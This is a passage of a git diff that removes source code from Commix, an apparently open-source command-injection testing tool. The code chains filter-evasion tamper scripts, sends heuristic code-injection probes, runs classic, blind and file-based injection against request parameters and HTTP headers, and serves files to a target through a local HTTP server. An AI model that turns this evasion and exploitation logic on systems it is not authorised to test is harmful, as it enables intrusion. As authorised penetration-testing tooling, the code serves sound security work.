"slash2env" - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) - -""" -Check for (multiple) added back slashes between the characters of the generated payloads. -""" -def check_backslashes(payload): - # Check for single quotes - if payload.count("\\") >= 15: - if not settings.TAMPER_SCRIPTS['backslashes']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",backslashes" - else: - menu.options.tamper = "backslashes" - from src.core.tamper import backslashes - payload = backslashes.tamper(payload) - -""" -Check for quotes in the generated payloads. -""" -def check_quotes(payload): - # Check for double quotes around of the generated payloads. - if payload.endswith("\""): - if not settings.TAMPER_SCRIPTS['nested']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",nested" - else: - menu.options.tamper = "nested" - from src.core.tamper import nested - payload = nested.tamper(payload) - - # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10: - if not settings.TAMPER_SCRIPTS['doublequotes']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",doublequotes" - else: - menu.options.tamper = "doublequotes" - from src.core.tamper import doublequotes - payload = doublequotes.tamper(payload) - - # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10: - if not settings.TAMPER_SCRIPTS['singlequotes']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",singlequotes" - else: - menu.options.tamper = "singlequotes" - from src.core.tamper import singlequotes - payload = singlequotes.tamper(payload) - -""" -Recognise the payload. -""" -def recognise_payload(payload): - if "usleep" in payload: - if not settings.TAMPER_SCRIPTS['sleep2usleep']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2usleep" - else: - menu.options.tamper = "sleep2usleep" - from src.core.tamper import sleep2usleep - payload = sleep2usleep.tamper(payload) - - elif "timeout" in payload: - if not settings.TAMPER_SCRIPTS['sleep2timeout']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2timeout" - else: - menu.options.tamper = "sleep2timeout" - from src.core.tamper import sleep2timeout - payload = sleep2timeout.tamper(payload) - - is_decoded = False - if (len(payload) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, payload): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(payload) - if re.match(settings.HEX_RECOGNITION_REGEX, payload): - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(decoded_payload) - - elif re.match(settings.HEX_RECOGNITION_REGEX, payload): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(payload) - if (len(payload) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(decoded_payload) - - for encode_type in settings.MULTI_ENCODED_PAYLOAD: - # Encode payload to base64 format. - if encode_type == 'base64encode': - base64_output(payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - hex_output(payload) - - if is_decoded: - return _urllib.parse.quote(decoded_payload) - else: - return payload - -""" -Check for stored payloads and enable tamper scripts. -""" -def check_for_stored_tamper(payload): - decoded_payload = recognise_payload(payload) - whitespace_check(decoded_payload) - other_symbols(decoded_payload) - check_quotes(decoded_payload) - tamper_scripts() - -""" -Perform payload modification -""" -def perform_payload_modification(payload): - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # sleep to usleep - if encode_type == 'sleep2timeout': - from src.core.tamper import sleep2timeout - payload = sleep2timeout.tamper(payload) - # sleep to usleep - if encode_type == 'sleep2usleep': - from src.core.tamper import sleep2usleep - payload = sleep2usleep.tamper(payload) - # Add uninitialized variable. - if encode_type == 'uninitializedvariable': - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) - if encode_type == 'slash2env': - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) - # Add double-quotes. - if encode_type == 'doublequotes': - from src.core.tamper import doublequotes - payload = doublequotes.tamper(payload) - # Add single-quotes. - if encode_type == 'singlequotes': - from src.core.tamper import singlequotes - payload = singlequotes.tamper(payload) - # Add caret symbol. - elif encode_type == 'backslashes': - from src.core.tamper import backslashes - payload = backslashes.tamper(payload) - # Add caret symbol. - elif encode_type == 'caret': - from src.core.tamper import caret - payload = caret.tamper(payload) - # Transfomation to nested command - elif encode_type == 'nested': - from src.core.tamper import nested - payload = nested.tamper(payload) - # Add dollar sign followed by an at-sign. - elif encode_type == 'dollaratsigns': - from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) - - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode payload to hex format. - if encode_type == 'base64encode': - from src.core.tamper import base64encode - payload = base64encode.tamper(payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - from src.core.tamper import hexencode - payload = hexencode.tamper(payload) - - return payload - -""" -Skip parameters when the provided value is empty. -""" -def skip_empty(empty_parameters, http_request_method): - warn_msg = "The " + http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] - warn_msg += " '" + empty_parameters + "'" - warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1] - warn_msg += "been skipped from testing" - warn_msg += " due to empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." - print(settings.print_warning_msg(warn_msg)) - - -""" -Parsing and unflattening json data. -""" -def json_data(data): - data = json.loads(data, object_pairs_hook=OrderedDict) - data = unflatten_list(data) - data = json.dumps(data) - return data - -""" -Check if the provided value is empty. -""" -def is_empty(multi_parameters, http_request_method): - all_empty = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking for empty values in provided data." - print(settings.print_debug_msg(debug_msg)) - empty_parameters = [] - multi_params = [s for s in multi_parameters] - if settings.IS_JSON: - try: - multi_params = ','.join(multi_params) - json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) - multi_params = flatten(json_data) - except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - for empty in multi_params: - try: - if settings.IS_JSON: - try: - param = re.sub("[^/()A-Za-z0-9.:,_]+", '', multi_params[empty]) - if "(" and ")" in param: - param = re.findall(r'\((.*)\)', param) - for value in param[0].split(","): - if value.split(":")[1] == "": - empty_parameters.append(value.split(":")[0]) - elif len(str(multi_params[empty])) == 0 : - empty_parameters.append(empty) - except TypeError: - warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." - print(settings.print_warning_msg(warn_msg)) - pass - elif settings.IS_XML: - if re.findall(r'>(.*)<', empty)[0] == "" or \ - re.findall(r'>(.*)<', empty)[0] == " ": - empty_parameters.append(re.findall(r'</(.*)>', empty)[0]) - elif len(empty.split("=")[1]) == 0: - empty_parameters.append(empty.split("=")[0]) - except IndexError: - if not settings.IS_XML: - err_msg = "No parameter(s) found for testing in the provided data." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if len(empty_parameters) == len(multi_parameters): - all_empty = True - - empty_parameters = ", ".join(empty_parameters) - if len(empty_parameters) > 0: - if menu.options.skip_empty and all_empty: - skip_empty(empty_parameters, http_request_method) - return True - else: - warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] - warn_msg += " for " + http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] - warn_msg += " '" + empty_parameters + "'" - warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " - warn_msg += "You are advised to use only valid values, so " + settings.APPLICATION - warn_msg += " could be able to run properly." - print(settings.print_warning_msg(warn_msg)) - return False - -# Check if valid SOAP/XML -def is_XML_check(parameter): - try: - if re.search(settings.XML_RECOGNITION_REGEX, parameter): - return True - except ValueError as err_msg: - return False - -# Process with SOAP/XML data -def process_xml_data(): - while True: - info_msg = "SOAP/XML data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - xml_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - xml_process = "" - if len(xml_process) == 0: - xml_process = "Y" - if xml_process in settings.CHOICE_YES: - settings.IS_XML = True - break - elif xml_process in settings.CHOICE_NO: - break - elif xml_process in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + xml_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -#Check if INJECT_TAG is enclosed in quotes (in json data) -def check_quotes_json_data(data): - if not json.dumps(settings.INJECT_TAG) in data: - data = data.replace(settings.INJECT_TAG, json.dumps(settings.INJECT_TAG)) - return data - -# Check if valid JSON -def is_JSON_check(parameter): - try: - json_object = json.loads(parameter) - if re.search(settings.JSON_RECOGNITION_REGEX, parameter) or \ - re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter): - return True - except ValueError as err_msg: - if not "No JSON object could be decoded" in str(err_msg) and \ - not "Expecting value" in str(err_msg) and \ - not "Expecting , delimiter" in str(err_msg): - err_msg = "JSON " + str(err_msg) + ". " - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - return False - -# Process with JSON data -def process_json_data(): - while True: - info_msg = "JSON data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - json_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - json_process = "" - if len(json_process) == 0: - json_process = "Y" - if json_process in settings.CHOICE_YES: - settings.IS_JSON = True - break - elif json_process in settings.CHOICE_NO: - break - elif json_process in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + json_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Check if provided parameters are in inappropriate format. -""" -def inappropriate_format(multi_parameters): - err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] - err_msg += (' are ', ' is ')[len(multi_parameters) == 1] - err_msg += "not in appropriate format." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check for similarity in provided parameter name and value. -""" -def check_similarities(all_params): - if settings.IS_JSON: - all_params = ','.join(all_params) - json_data = json.loads(all_params, object_pairs_hook=OrderedDict) - all_params = flatten(json_data) - for param in all_params: - if param == all_params[param]: - parameter_name = param - all_params[param] = param + settings.RANDOM_TAG - all_params = [x.replace(" ", "") for x in json.dumps(all_params).split(", ")] - else: - for param in range(0, len(all_params)): - if settings.IS_XML: - if re.findall(r'</(.*)>', all_params[param]) == re.findall(r'>(.*)</', all_params[param]): - parameter_name = re.findall(r'>(.*)</', all_params[param]) - parameter_name = ''.join(parameter_name) - all_params[param] = "<" + parameter_name + ">" + parameter_name + settings.RANDOM_TAG + "</" + parameter_name + ">" - else: - if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): - parameter_name = re.findall(r'=(.*)', all_params[param]) - parameter_name = ''.join(parameter_name) - all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG - return all_params - -""" -Gererate characters pool (for blind command injections) -""" -def generate_char_pool(num_of_chars): - if menu.options.charset: - char_pool = [ord(c) for c in menu.options.charset] - else: - if num_of_chars == 1: - # Checks {A..Z},{a..z},{0..9},{Symbols} - char_pool = list(range(65, 90)) + list(range(96, 122)) - else: - # Checks {a..z},{A..Z},{0..9},{Symbols} - char_pool = list(range(96, 122)) + list(range(65, 90)) - char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 95)) + list(range(58, 64)) + list(range(123, 127)) - return char_pool - -""" -Check if defined "--file-upload" option. -""" -def file_upload(): - if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - if not menu.options.file_dest.endswith("/"): - menu.options.file_dest = menu.options.file_dest + "/" - # Check if not defined URL for upload. - while True: - if not menu.options.batch: - question_msg = "Do you want to enable an HTTP server? [Y/n] > " - enable_HTTP_server = _input(settings.print_question_msg(question_msg)) - else: - enable_HTTP_server = "" - if len(enable_HTTP_server) == 0: - enable_HTTP_server = "Y" - if enable_HTTP_server in settings.CHOICE_YES: - - # Check if file exists - if not os.path.isfile(menu.options.file_upload): - err_msg = "The '" + menu.options.file_upload + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - # Setting the local HTTP server. - if settings.LOCAL_HTTP_IP == None: - while True: - question_msg = "Please enter your interface IP address > " - ip_addr = _input(settings.print_question_msg(question_msg)) - # check if IP address is valid - ip_check = simple_http_server.is_valid_ipv4(ip_addr) - if ip_check == False: - err_msg = "The provided IP address seems not valid." - print(settings.print_error_msg(err_msg)) - pass - else: - settings.LOCAL_HTTP_IP = ip_addr - break - - # Check for invalid HTTP server's port. - if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: - err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) - info_msg = "Setting the HTTP server on '" + http_server + "/'. " - print(settings.print_info_msg(info_msg)) - menu.options.file_upload = http_server + "/" + menu.options.file_upload - simple_http_server.main() - break - - elif enable_HTTP_server in settings.CHOICE_NO: - if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - break - elif enable_HTTP_server in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enable_HTTP_server + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Check for wrong flags -""" -def check_wrong_flags(): - if settings.TARGET_OS == "win": - if menu.options.is_root : - warn_msg = "Swithing '--is-root' to '--is-admin' because the " - warn_msg += "target has been identified as windows." - print(settings.print_warning_msg(warn_msg)) - if menu.options.passwords: - warn_msg = "The '--passwords' option, is not yet available for Windows targets." - print(settings.print_warning_msg(warn_msg)) - if menu.options.file_upload : - warn_msg = "The '--file-upload' option, is not yet available for windows targets. " - warn_msg += "Instead, use the '--file-write' option." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - else: - if menu.options.is_admin : - warn_msg = "Swithing the '--is-admin' to '--is-root' because " - warn_msg += "the target has been identified as unix-like. " - print(settings.print_warning_msg(warn_msg)) - -""" -Define python working dir (for windows targets) -""" -def define_py_working_dir(): - if settings.TARGET_OS == "win" and menu.options.alter_shell: - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python working directory on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for Python (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - break - else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - settings.USER_DEFINED_PYTHON_DIR = True - -# eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py deleted file mode 100644 index 50f760530b..0000000000 --- a/src/core/injections/controller/controller.py +++ /dev/null @@ -1,760 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.modules import modules_handler -from src.core.requests import authentication -from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_handler -from src.core.injections.semiblind.techniques.file_based import fb_handler -from src.core.injections.results_based.techniques.classic import cb_handler -from src.core.injections.results_based.techniques.eval_based import eb_handler - -""" -Command Injection and exploitation controller. -Checks if the testable parameter is exploitable. -""" - -""" -Check for previously stored sessions. -""" -def check_for_stored_sessions(url, http_request_method): - - if not menu.options.ignore_session: - if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if not menu.options.tech: - settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) - menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES - if session_handler.check_stored_parameter(url, http_request_method): - settings.LOAD_SESSION = True - return True - -""" -Check for previously stored injection level. -""" -def check_for_stored_levels(url, http_request_method): - - if not menu.options.ignore_session: - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: - menu.options.level = session_handler.applied_levels(url, http_request_method) - if type(menu.options.level) is not int : - menu.options.level = settings.DEFAULT_INJECTION_LEVEL - -""" -Basic heuristic checks for code injection warnings -""" -def heuristic_basic(url, http_request_method): - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" - technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" - - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - return url - else: - settings.EVAL_BASED_STATE = True - try: - try: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - except TypeError as err_msg: - pass - if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - for payload in settings.PHPINFO_CHECK_PAYLOADS: - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - if not menu.options.data: - request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) - else: - data = menu.options.data.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - headers.do_check(request) - response = requests.get_request_response(request) - if type(response) is not bool: - html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) - if match: - technique = technique + " (possible PHP version: '" + match.group(1) + "')" - settings.IDENTIFIED_PHPINFO = True - else: - for warning in settings.CODE_INJECTION_WARNINGS: - if warning in html_data: - settings.IDENTIFIED_WARNINGS = True - break - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic detection shows that target might be injectable via " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - break - - settings.EVAL_BASED_STATE = False - return url - - except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -# Check if it's exploitable via classic command injection technique. -def classic_command_injection_technique(url, timesec, filename, http_request_method): - injection_type = "results-based OS command injection" - technique = "classic command injection technique" - if not settings.SKIP_COMMAND_INJECTIONS: - if (len(menu.options.tech) == 0 or "c" in menu.options.tech): - settings.CLASSIC_STATE = None - if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): - while True: - if not menu.options.batch: - settings.CLASSIC_STATE = True - question_msg = "Skipping of code injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" - if procced_option in settings.CHOICE_YES: - settings.SKIP_CODE_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - settings.CLASSIC_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - -# Check if it's exploitable via dynamic code evaluation technique. -def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" - if not settings.SKIP_CODE_INJECTIONS: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) or settings.SKIP_COMMAND_INJECTIONS: - settings.EVAL_BASED_STATE = None - if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - while True: - if not menu.options.batch: - settings.EVAL_BASED_STATE = True - question_msg = "Skipping of further command injection checks is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - if settings.SKIP_COMMAND_INJECTIONS: - settings.SKIP_COMMAND_INJECTIONS = False - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - settings.EVAL_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - - -# Check if it's exploitable via time-based command injection technique. -def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "blind OS command injection" - technique = "time-based command injection technique" - if not settings.SKIP_COMMAND_INJECTIONS: - if (len(menu.options.tech) == 0 or "t" in menu.options.tech): - settings.TIME_BASED_STATE = None - if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.TIME_BASED_STATE = True - else: - settings.TIME_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - -# Check if it's exploitable via file-based command injection technique. -def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "semi-blind command injection" - technique = "file-based command injection technique" - if not settings.SKIP_COMMAND_INJECTIONS: - if (len(menu.options.tech) == 0 or "f" in menu.options.tech): - settings.FILE_BASED_STATE = None - if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.FILE_BASED_STATE = True - else: - settings.FILE_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - -""" -Proceed to the injection process for the appropriate parameter. -""" -def injection_proccess(url, check_parameter, http_request_method, filename, timesec): - - if menu.options.ignore_code: - info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " - print(settings.print_info_msg(info_msg)) - - # Skipping specific injection techniques. - if settings.SKIP_TECHNIQUES: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - for skip_tech_name in settings.AVAILABLE_TECHNIQUES: - if skip_tech_name in menu.options.skip_tech: - menu.options.tech = menu.options.tech.replace(skip_tech_name,"") - if len(menu.options.tech) == 0: - err_msg = "Detection procedure was aborted due to skipping all injection techniques." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - - # User-Agent HTTP header / Referer HTTP header / - # Host HTTP header / Custom HTTP header Injection(s) - if check_parameter.startswith(" "): - header_name = "" - the_type = " HTTP header" - else: - if settings.COOKIE_INJECTION: - header_name = " cookie" - else: - header_name = "" - the_type = " parameter" - check_parameter = " '" + check_parameter + "'" - - # Estimating the response time (in seconds) - timesec, url_time_response = requests.estimate_response_time(url, timesec) - # Load modules - modules_handler.load_modules(url, http_request_method, filename) - - if not settings.LOAD_SESSION: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): - # Check for identified warnings - url = heuristic_basic(url, http_request_method) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - if not menu.options.batch: - question_msg = "Skipping of further command injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - info_msg = "Setting the" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - if header_name == " cookie" : - info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." - else: - info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." - print(settings.print_info_msg(info_msg)) - - if menu.options.failed_tries and \ - menu.options.tech and not "f" in menu.options.tech and not \ - menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" - warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " - warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Procced with file-based semiblind command injection technique, - # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" - - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - classic_command_injection_technique(url, timesec, filename, http_request_method) - else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - warn_msg = "The tested" - if header_name != " cookie" and the_type != " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg += str(the_type) + str(header_name) + str(check_parameter) - warn_msg += " seems to be not injectable." - print(settings.print_warning_msg(warn_msg)) - -""" -Inject HTTP headers (User-agent / Referer / Host) (if level > 2). -""" -def http_headers_injection(url, http_request_method, filename, timesec): - # Disable Cookie Injection - settings.COOKIE_INJECTION = False - - def user_agent_injection(url, http_request_method, filename, timesec): - user_agent = menu.options.agent - if not menu.options.shellshock: - menu.options.agent = settings.INJECT_TAG - settings.USER_AGENT_INJECTION = True - if settings.USER_AGENT_INJECTION: - check_parameter = header_name = " User-Agent" - settings.HTTP_HEADER = header_name[1:].replace("-","").lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.USER_AGENT_INJECTION = False - menu.options.agent = user_agent - - def referer_injection(url, http_request_method, filename, timesec): - referer = menu.options.referer - if not menu.options.shellshock: - menu.options.referer = settings.INJECT_TAG - settings.REFERER_INJECTION = True - if settings.REFERER_INJECTION: - check_parameter = header_name = " Referer" - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.REFERER_INJECTION = False - menu.options.agent = referer - - def host_injection(url, http_request_method, filename, timesec): - if not menu.options.shellshock: - menu.options.host = settings.INJECT_TAG - settings.HOST_INJECTION = True - if settings.HOST_INJECTION: - check_parameter = header_name = " Host" - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.HOST_INJECTION = False - - # User-Agent HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "user-agent" in menu.options.test_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) - else: - if "user-agent" not in menu.options.skip_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) - - # Referer HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "referer" in menu.options.test_parameter.lower(): - referer_injection(url, http_request_method, filename, timesec) - else: - if "referer" not in menu.options.skip_parameter.lower(): - referer_injection(url, http_request_method, filename, timesec) - - # Host HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "host" in menu.options.test_parameter.lower(): - host_injection(url, http_request_method, filename, timesec) - else: - if "host" not in menu.options.skip_parameter.lower(): - host_injection(url, http_request_method, filename, timesec) - -""" -Check for stored injections on User-agent / Referer headers 